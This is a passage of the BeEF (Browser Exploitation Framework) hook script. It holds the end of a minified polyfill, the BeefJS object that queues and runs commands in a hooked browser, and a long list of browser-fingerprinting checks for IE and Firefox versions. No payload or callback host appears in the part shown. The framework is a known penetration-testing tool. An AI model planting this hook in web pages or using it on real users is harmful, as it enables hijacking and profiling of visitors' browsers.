r="completed",e.arg;e.dispatchException(e.arg)}else"return"===e.method&&e.abrupt("return",e.arg);r="executing";var c=f(t,n,e);if("normal"===c.type){if(r=e.done?"completed":"suspendedYield",c.arg===l)continue;return{value:c.arg,done:e.done}}"throw"===c.type&&(r="completed",e.method="throw",e.arg=c.arg)}}}function M(t,n){var e=n.method,r=t.iterator[e];if(void 0===r)return n.delegate=null,"throw"===e&&t.iterator.return&&(n.method="return",n.arg=void 0,M(t,n),"throw"===n.method)||"return"!==e&&(n.method="throw",n.arg=new TypeError("The iterator does not provide a '"+e+"' method")),l;var i=f(r,t.iterator,n.arg);if("throw"===i.type)return n.method="throw",n.arg=i.arg,n.delegate=null,l;var o=i.arg;return o?o.done?(n[t.resultName]=o.value,n.next=t.nextLoc,"return"!==n.method&&(n.method="next",n.arg=void 0),n.delegate=null,l):o:(n.method="throw",n.arg=new TypeError("iterator result is not an object"),n.delegate=null,l)}function _(t){var n={tryLoc:t[0]};1 in t&&(n.catchLoc=t[1]),2 in t&&(n.finallyLoc=t[2],n.afterLoc=t[3]),this.tryEntries.push(n)}function x(t){var n=t.completion||{};n.type="normal",delete n.arg,t.completion=n}function P(t){this.tryEntries=[{tryLoc:"root"}],t.forEach(_,this),this.reset(!0)}function O(t){if(t){var n=t[o];if(n)return n.call(t);if("function"==typeof t.next)return t;if(!isNaN(t.length)){var r=-1,i=function n(){for(;++r<t.length;)if(e.call(t,r))return n.value=t[r],n.done=!1,n;return n.value=void 0,n.done=!0,n};return i.next=i}}return{next:A}}function A(){return{value:void 0,done:!0}}return d.prototype=p,r(m,"constructor",{value:p,configurable:!0}),r(p,"constructor",{value:d,configurable:!0}),d.displayName=c(p,a,"GeneratorFunction"),t.isGeneratorFunction=function(t){var n="function"==typeof t&&t.constructor;return!!n&&(n===d||"GeneratorFunction"===(n.displayName||n.name))},t.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,p):(t.__proto__=p,c(t,a,"GeneratorFunction")),t.prototype=Object.create(m),t},t.awrap=function(t){return{__await:t}},b(S.prototype),c(S.prototype,u,(function(){return this})),t.AsyncIterator=S,t.async=function(n,e,r,i,o){void 0===o&&(o=Promise);var u=new S(s(n,e,r,i),o);return t.isGeneratorFunction(e)?u:u.next().then((function(t){return t.done?t.value:u.next()}))},b(m),c(m,a,"Generator"),c(m,o,(function(){return this})),c(m,"toString",(function(){return"[object Generator]"})),t.keys=function(t){var n=Object(t),e=[];for(var r in n)e.push(r);return e.reverse(),function t(){for(;e.length;){var r=e.pop();if(r in n)return t.value=r,t.done=!1,t}return t.done=!0,t}},t.values=O,P.prototype={constructor:P,reset:function(t){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach(x),!t)for(var n in this)"t"===n.charAt(0)&&e.call(this,n)&&!isNaN(+n.slice(1))&&(this[n]=void 0)},stop:function(){this.done=!0;var t=this.tryEntries[0].completion;if("throw"===t.type)throw t.arg;return this.rval},dispatchException:function(t){if(this.done)throw t;var n=this;function r(e,r){return u.type="throw",u.arg=t,n.next=e,r&&(n.method="next",n.arg=void 0),!!r}for(var i=this.tryEntries.length-1;i>=0;--i){var o=this.tryEntries[i],u=o.completion;if("root"===o.tryLoc)return r("end");if(o.tryLoc<=this.prev){var a=e.call(o,"catchLoc"),c=e.call(o,"finallyLoc");if(a&&c){if(this.prev<o.catchLoc)return r(o.catchLoc,!0);if(this.prev<o.finallyLoc)return r(o.finallyLoc)}else if(a){if(this.prev<o.catchLoc)return r(o.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return r(o.finallyLoc)}}}},abrupt:function(t,n){for(var r=this.tryEntries.length-1;r>=0;--r){var i=this.tryEntries[r];if(i.tryLoc<=this.prev&&e.call(i,"finallyLoc")&&this.prev<i.finallyLoc){var o=i;break}}o&&("break"===t||"continue"===t)&&o.tryLoc<=n&&n<=o.finallyLoc&&(o=null);var u=o?o.completion:{};return u.type=t,u.arg=n,o?(this.method="next",this.next=o.finallyLoc,l):this.complete(u)},complete:function(t,n){if("throw"===t.type)throw t.arg;return"break"===t.type||"continue"===t.type?this.next=t.arg:"return"===t.type?(this.rval=this.arg=t.arg,this.method="return",this.next="end"):"normal"===t.type&&n&&(this.next=n),l},finish:function(t){for(var n=this.tryEntries.length-1;n>=0;--n){var e=this.tryEntries[n];if(e.finallyLoc===t)return this.complete(e.completion,e.afterLoc),x(e),l}},catch:function(t){for(var n=this.tryEntries.length-1;n>=0;--n){var e=this.tryEntries[n];if(e.tryLoc===t){var r=e.completion;if("throw"===r.type){var i=r.arg;x(e)}return i}}throw new Error("illegal catch attempt")},delegateYield:function(t,n,e){return this.delegate={iterator:O(t),resultName:n,nextLoc:e},"next"===this.method&&(this.arg=void 0),l}},t}(t.exports);try{regeneratorRuntime=r}catch(t){"object"==typeof globalThis?globalThis.regeneratorRuntime=r:Function("r","regeneratorRuntime = r")(r)}},function(t,n,e){e(304),t.exports=e(127).global},function(t,n,e){var r=e(305);r(r.G,{global:e(87)})},function(t,n,e){var r=e(87),i=e(127),o=e(306),u=e(308),a=e(315),c=function(t,n,e){var s,f,l,h=t&c.F,d=t&c.G,p=t&c.S,v=t&c.P,g=t&c.B,y=t&c.W,m=d?i:i[n]||(i[n]={}),b=m.prototype,S=d?r:p?r[n]:(r[n]||{}).prototype;for(s in d&&(e=n),e)(f=!h&&S&&void 0!==S[s])&&a(m,s)||(l=f?S[s]:e[s],m[s]=d&&"function"!=typeof S[s]?e[s]:g&&f?o(l,r):y&&S[s]==l?function(t){var n=function(n,e,r){if(this instanceof t){switch(arguments.length){case 0:return new t;case 1:return new t(n);case 2:return new t(n,e)}return new t(n,e,r)}return t.apply(this,arguments)};return n.prototype=t.prototype,n}(l):v&&"function"==typeof l?o(Function.call,l):l,v&&((m.virtual||(m.virtual={}))[s]=l,t&c.R&&b&&!b[s]&&u(b,s,l)))};c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,t.exports=c},function(t,n,e){var r=e(307);t.exports=function(t,n,e){if(r(t),void 0===n)return t;switch(e){case 1:return function(e){return t.call(n,e)};case 2:return function(e,r){return t.call(n,e,r)};case 3:return function(e,r,i){return t.call(n,e,r,i)}}return function(){return t.apply(n,arguments)}}},function(t,n){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},function(t,n,e){var r=e(309),i=e(314);t.exports=e(89)?function(t,n,e){return r.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},function(t,n,e){var r=e(310),i=e(311),o=e(313),u=Object.defineProperty;n.f=e(89)?Object.defineProperty:function(t,n,e){if(r(t),n=o(n,!0),r(e),i)try{return u(t,n,e)}catch(t){}if("get"in e||"set"in e)throw TypeError("Accessors not supported!");return"value"in e&&(t[n]=e.value),t}},function(t,n,e){var r=e(88);t.exports=function(t){if(!r(t))throw TypeError(t+" is not an object!");return t}},function(t,n,e){t.exports=!e(89)&&!e(128)((function(){return 7!=Object.defineProperty(e(312)("div"),"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(88),i=e(87).document,o=r(i)&&r(i.createElement);t.exports=function(t){return o?i.createElement(t):{}}},function(t,n,e){var r=e(88);t.exports=function(t,n){if(!r(t))return t;var e,i;if(n&&"function"==typeof(e=t.toString)&&!r(i=e.call(t)))return i;if("function"==typeof(e=t.valueOf)&&!r(i=e.call(t)))return i;if(!n&&"function"==typeof(e=t.toString)&&!r(i=e.call(t)))return i;throw TypeError("Can't convert object to primitive value")}},function(t,n){t.exports=function(t,n){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:n}}},function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}}])}));
  5177.  
  5178. //
  5179. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  5180. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  5181. // See the file 'doc/COPYING' for copying permission
  5182. //
  5183.  
  5184. /*!
  5185.  * BeEF JS Library
  5186.  * Register the BeEF JS on the window object.
  5187.  */
  5188.  
  5189. $j = jQuery.noConflict();
  5190.  
  5191. if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
  5192.  
  5193.     /**
  5194.      * Register the BeEF JS on the window object.
  5195.      * @namespace {Object} BeefJS
  5196.      * @property {string} version BeEf Version
  5197.      * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
  5198.      * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
  5199.      * @property {array} onclose An array containing functions to be executed by the window.onclose() method.
  5200.      * @property {array} commands An array containing functions to be executed by Beef.
  5201.      * @property {array} components An array containing all the BeEF JS components.
  5202.      */
  5203.  
  5204.     var BeefJS = {
  5205.        
  5206.         version: '',
  5207.         pageIsLoaded: false,
  5208.         onpopstate: new Array(),
  5209.         onclose: new Array(),
  5210.         commands: new Array(),
  5211.         components: new Array(),
  5212.  
  5213.         /**
  5214.          * Adds a function to display debug messages (wraps console.log())
  5215.          * @param: {string} the debug string to return
  5216.          */
  5217.         debug: function(msg) {
  5218.             isDebug = 'false'
  5219.             if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
  5220.                 var currentdate = new Date();
  5221.                 var pad = function(n){return ("0" + n).slice(-2);}
  5222.                 var datetime = currentdate.getFullYear() + "-"
  5223.                 + pad(currentdate.getMonth()+1)  + "-"
  5224.                 + pad(currentdate.getDate()) + " "
  5225.                 + pad(currentdate.getHours()) + ":"
  5226.                 + pad(currentdate.getMinutes()) + ":"
  5227.                 + pad(currentdate.getSeconds());
  5228.                 console.log('['+datetime+'] '+msg);
  5229.             } else {
  5230.                 // TODO: maybe add a callback to BeEF server for debugging purposes
  5231.                 //window.alert(msg);
  5232.             }
  5233.         },
  5234.  
  5235.         /**
  5236.         * Adds a function to execute.
  5237.         * @param: {Function} the function to execute.
  5238.         */
  5239.         execute: function(fn) {
  5240.                 if ( typeof  beef.websocket == "undefined"){
  5241.                     this.commands.push(fn);
  5242.                 }else{
  5243.                     fn();
  5244.                 }
  5245.         },
  5246.  
  5247.        /**
  5248.         * Registers a component in BeEF JS.
  5249.         * @params: {String} the component.
  5250.         *
  5251.         * Components are very important to register so the framework does not
  5252.         * send them back over and over again.
  5253.         */
  5254.         regCmp: function(component) {
  5255.                 this.components.push(component);
  5256.         }
  5257.  
  5258.     };
  5259.  
  5260.     window.beef = BeefJS;
  5261. }
  5262.  
  5263.  
  5264. //
  5265. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  5266. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  5267. // See the file 'doc/COPYING' for copying permission
  5268. //
  5269.  
  5270. /**
  5271.  * Basic browser functions.
  5272.  * @namespace beef.browser
  5273.  */
  5274. beef.browser = {
  5275.  
  5276.     /**
  5277.      * Returns the protocol.
  5278.      * @example: beef.browser.getProtocol()
  5279.      */
  5280.     getProtocol: function() {
  5281.         return document.location.protocol;
  5282.     },
  5283.  
  5284.     /**
  5285.      * Returns the user agent that the browser is claiming to be.
  5286.      * @example: beef.browser.getBrowserReportedName()
  5287.      */
  5288.     getBrowserReportedName: function () {
  5289.         return navigator.userAgent;
  5290.     },
  5291.  
  5292.     /**
  5293.      * Returns the underlying layout engine in use by the browser.
  5294.      * @example: beef.browser.getBrowserEngine()
  5295.      */
  5296.     getBrowserEngine: function() {
  5297.       try {
  5298.         var engine = platform.layout;
  5299.         if (!!engine)
  5300.           return engine;
  5301.       } catch (e) {}
  5302.       return 'unknown';
  5303.     },
  5304.  
  5305.     /**
  5306.      * Returns true if Avant Browser.
  5307.      * @example: beef.browser.isA()
  5308.      */
  5309.     isA: function () {
  5310.         return window.navigator.userAgent.match(/Avant TriCore/) != null;
  5311.     },
  5312.  
  5313.     /**
  5314.      * Returns true if Iceweasel.
  5315.      * @example: beef.browser.isIceweasel()
  5316.      */
  5317.     isIceweasel: function () {
  5318.         return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
  5319.     },
  5320.  
  5321.     /**
  5322.      * Returns true if Midori.
  5323.      * @example: beef.browser.isMidori()
  5324.      */
  5325.     isMidori: function () {
  5326.         return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
  5327.     },
  5328.  
  5329.     /**
  5330.      * Returns true if Odyssey
  5331.      * @example: beef.browser.isOdyssey()
  5332.      */
  5333.     isOdyssey: function () {
  5334.         return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
  5335.     },
  5336.  
  5337.     /**
  5338.      * Returns true if Brave
  5339.      * @example: beef.browser.isBrave()
  5340.      */
  5341.     isBrave: function(){
  5342.         return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
  5343.     },
  5344.  
  5345.     /**
  5346.      * Returns true if IE6.
  5347.      * @example: beef.browser.isIE6()
  5348.      */
  5349.     isIE6: function () {
  5350.         return !window.XMLHttpRequest && !window.globalStorage;
  5351.     },
  5352.  
  5353.     /**
  5354.      * Returns true if IE7.
  5355.      * @example: beef.browser.isIE7()
  5356.      */
  5357.     isIE7: function () {
  5358.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
  5359.     },
  5360.  
  5361.     /**
  5362.      * Returns true if IE8.
  5363.      * @example: beef.browser.isIE8()
  5364.      */
  5365.     isIE8: function () {
  5366.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
  5367.     },
  5368.  
  5369.     /**
  5370.      * Returns true if IE9.
  5371.      * @example: beef.browser.isIE9()
  5372.      */
  5373.     isIE9: function () {
  5374.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
  5375.     },
  5376.  
  5377.     /**
  5378.      *
  5379.      * Returns true if IE10.
  5380.      * @example: beef.browser.isIE10()
  5381.      */
  5382.     isIE10: function () {
  5383.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
  5384.     },
  5385.  
  5386.     /**
  5387.      *
  5388.      * Returns true if IE11.
  5389.      * @example: beef.browser.isIE11()
  5390.      */
  5391.     isIE11: function () {
  5392.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
  5393.     },
  5394.  
  5395.     /**
  5396.      *
  5397.      * Returns true if Edge.
  5398.      * @example: beef.browser.isEdge()
  5399.      */
  5400.     isEdge: function () {
  5401.         return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
  5402.     },
  5403.  
  5404.     /**
  5405.      * Returns true if IE.
  5406.      * @example: beef.browser.isIE()
  5407.      */
  5408.     isIE: function () {
  5409.         return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
  5410.     },
  5411.  
  5412.     /**
  5413.      * Returns true if FF2.
  5414.      * @example: beef.browser.isFF2()
  5415.      */
  5416.     isFF2: function () {
  5417.         return !!window.globalStorage && !window.postMessage;
  5418.     },
  5419.  
  5420.     /**
  5421.      * Returns true if FF3.
  5422.      * @example: beef.browser.isFF3()
  5423.      */
  5424.     isFF3: function () {
  5425.         return !!window.globalStorage && !!window.postMessage && !JSON.parse;
  5426.     },
  5427.  
  5428.     /**
  5429.      * Returns true if FF3.5.
  5430.      * @example: beef.browser.isFF3_5()
  5431.      */
  5432.     isFF3_5: function () {
  5433.         return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  5434.     },
  5435.  
  5436.     /**
  5437.      * Returns true if FF3.6.
  5438.      * @example: beef.browser.isFF3_6()
  5439.      */
  5440.     isFF3_6: function () {
  5441.         return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
  5442.     },
  5443.  
  5444.     /**
  5445.      * Returns true if FF4.
  5446.      * @example: beef.browser.isFF4()
  5447.      */
  5448.     isFF4: function () {
  5449.         return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
  5450.     },
  5451.  
  5452.     /**
  5453.      * Returns true if FF5.
  5454.      * @example: beef.browser.isFF5()
  5455.      */
  5456.     isFF5: function () {
  5457.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
  5458.     },
  5459.  
  5460.     /**
  5461.      * Returns true if FF6.
  5462.      * @example: beef.browser.isFF6()
  5463.      */
  5464.     isFF6: function () {
  5465.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
  5466.     },
  5467.  
  5468.     /**
  5469.      * Returns true if FF7.
  5470.      * @example: beef.browser.isFF7()
  5471.      */
  5472.     isFF7: function () {
  5473.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
  5474.     },
  5475.  
  5476.     /**
  5477.      * Returns true if FF8.
  5478.      * @example: beef.browser.isFF8()
  5479.      */
  5480.     isFF8: function () {
  5481.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
  5482.     },
  5483.  
  5484.     /**
  5485.      * Returns true if FF9.
  5486.      * @example: beef.browser.isFF9()
  5487.      */
  5488.     isFF9: function () {
  5489.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
  5490.     },
  5491.  
  5492.     /**
  5493.      * Returns true if FF10.
  5494.      * @example: beef.browser.isFF10()
  5495.      */
  5496.     isFF10: function () {
  5497.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
  5498.     },
  5499.  
  5500.     /**
  5501.      * Returns true if FF11.
  5502.      * @example: beef.browser.isFF11()
  5503.      */
  5504.     isFF11: function () {
  5505.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
  5506.     },
  5507.  
  5508.     /**
  5509.      * Returns true if FF12
  5510.      * @example: beef.browser.isFF12()
  5511.      */
  5512.     isFF12: function () {
  5513.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
  5514.     },
  5515.  
  5516.     /**
  5517.      * Returns true if FF13
  5518.      * @example: beef.browser.isFF13()
  5519.      */
  5520.     isFF13: function () {
  5521.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
  5522.     },
  5523.  
  5524.     /**
  5525.      * Returns true if FF14
  5526.      * @example: beef.browser.isFF14()
  5527.      */
  5528.     isFF14: function () {
  5529.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
  5530.     },
  5531.  
  5532.     /**
  5533.      * Returns true if FF15
  5534.      * @example: beef.browser.isFF15()
  5535.      */
  5536.     isFF15: function () {
  5537.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
  5538.     },
  5539.  
  5540.     /**
  5541.      * Returns true if FF16
  5542.      * @example: beef.browser.isFF16()
  5543.      */
  5544.     isFF16: function () {
  5545.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
  5546.     },
  5547.  
  5548.     /**
  5549.      * Returns true if FF17
  5550.      * @example: beef.browser.isFF17()
  5551.      */
  5552.     isFF17: function () {
  5553.         return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
  5554.     },
  5555.  
  5556.     /**
  5557.      * Returns true if FF18
  5558.      * @example: beef.browser.isFF18()
  5559.      */
  5560.     isFF18: function () {
  5561.         return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
  5562.     },
  5563.  
  5564.     /**
  5565.      * Returns true if FF19
  5566.      * @example: beef.browser.isFF19()
  5567.      */
  5568.     isFF19: function () {
  5569.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
  5570.     },
  5571.  
  5572.     /**
  5573.      * Returns true if FF20
  5574.      * @example: beef.browser.isFF20()
  5575.      */
  5576.     isFF20: function () {
  5577.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
  5578.     },
  5579.  
  5580.     /**
  5581.      * Returns true if FF21
  5582.      * @example: beef.browser.isFF21()
  5583.      */
  5584.     isFF21: function () {
  5585.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
  5586.     },
  5587.  
  5588.     /**
  5589.      * Returns true if FF22
  5590.      * @example: beef.browser.isFF22()
  5591.      */
  5592.     isFF22: function () {
  5593.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
  5594.     },
  5595.  
  5596.     /**
  5597.      * Returns true if FF23
  5598.      * @example: beef.browser.isFF23()
  5599.      */
  5600.     isFF23: function () {
  5601.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
  5602.     },
  5603.  
  5604.     /**
  5605.      * Returns true if FF24
  5606.      * @example: beef.browser.isFF24()
  5607.      */
  5608.     isFF24: function () {
  5609.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
  5610.     },
  5611.  
  5612.     /**
  5613.      * Returns true if FF25
  5614.      * @example: beef.browser.isFF25()
  5615.      */
  5616.     isFF25: function () {
  5617.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
  5618.     },
  5619.  
  5620.     /**
  5621.      * Returns true if FF26
  5622.      * @example: beef.browser.isFF26()
  5623.      */
  5624.     isFF26: function () {
  5625.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
  5626.     },
  5627.  
  5628.     /**
  5629.      * Returns true if FF27
  5630.      * @example: beef.browser.isFF27()
  5631.      */
  5632.     isFF27: function () {
  5633.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
  5634.     },
  5635.  
  5636.     /**
  5637.      * Returns true if FF28
  5638.      * @example: beef.browser.isFF28()
  5639.      */
  5640.     isFF28: function () {
  5641.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
  5642.     },
  5643.  
  5644.     /**
  5645.      * Returns true if FF29
  5646.      * @example: beef.browser.isFF29()
  5647.      */
  5648.     isFF29: function () {
  5649.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
  5650.     },
  5651.  
  5652.     /**
  5653.      * Returns true if FF30
  5654.      * @example: beef.browser.isFF30()
  5655.      */
  5656.     isFF30: function () {
  5657.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
  5658.     },
  5659.  
  5660.     /**
  5661.      * Returns true if FF31
  5662.      * @example: beef.browser.isFF31()
  5663.      */
  5664.     isFF31: function () {
  5665.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
  5666.     },
  5667.  
  5668.     /**
  5669.      * Returns true if FF32
  5670.      * @example: beef.browser.isFF32()
  5671.      */
  5672.     isFF32: function () {
  5673.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
  5674.     },
  5675.  
  5676.     /**
  5677.      * Returns true if FF33
  5678.      * @example: beef.browser.isFF33()
  5679.      */
  5680.     isFF33: function () {
  5681.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
  5682.     },
  5683.  
  5684.     /**
  5685.      * Returns true if FF34
  5686.      * @example: beef.browser.isFF34()
  5687.      */
  5688.     isFF34: function () {
  5689.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
  5690.     },
  5691.  
  5692.     /**
  5693.      * Returns true if FF35
  5694.      * @example: beef.browser.isFF35()
  5695.      */
  5696.     isFF35: function () {
  5697.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
  5698.     },
  5699.  
  5700.     /**
  5701.      * Returns true if FF36
  5702.      * @example: beef.browser.isFF36()
  5703.      */
  5704.     isFF36: function () {
  5705.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
  5706.     },
  5707.  
  5708.     /**
  5709.      * Returns true if FF37
  5710.      * @example: beef.browser.isFF37()
  5711.      */
  5712.     isFF37: function () {
  5713.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
  5714.     },
  5715.  
  5716.     /**
  5717.      * Returns true if FF38
  5718.      * @example: beef.browser.isFF38()
  5719.      */
  5720.     isFF38: function () {
  5721.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
  5722.     },
  5723.  
  5724.     /**
  5725.      * Returns true if FF39
  5726.      * @example: beef.browser.isFF39()
  5727.      */
  5728.     isFF39: function () {
  5729.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
  5730.     },
  5731.  
  5732.     /**
  5733.      * Returns true if FF40
  5734.      * @example: beef.browser.isFF40()
  5735.      */
  5736.     isFF40: function () {
  5737.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
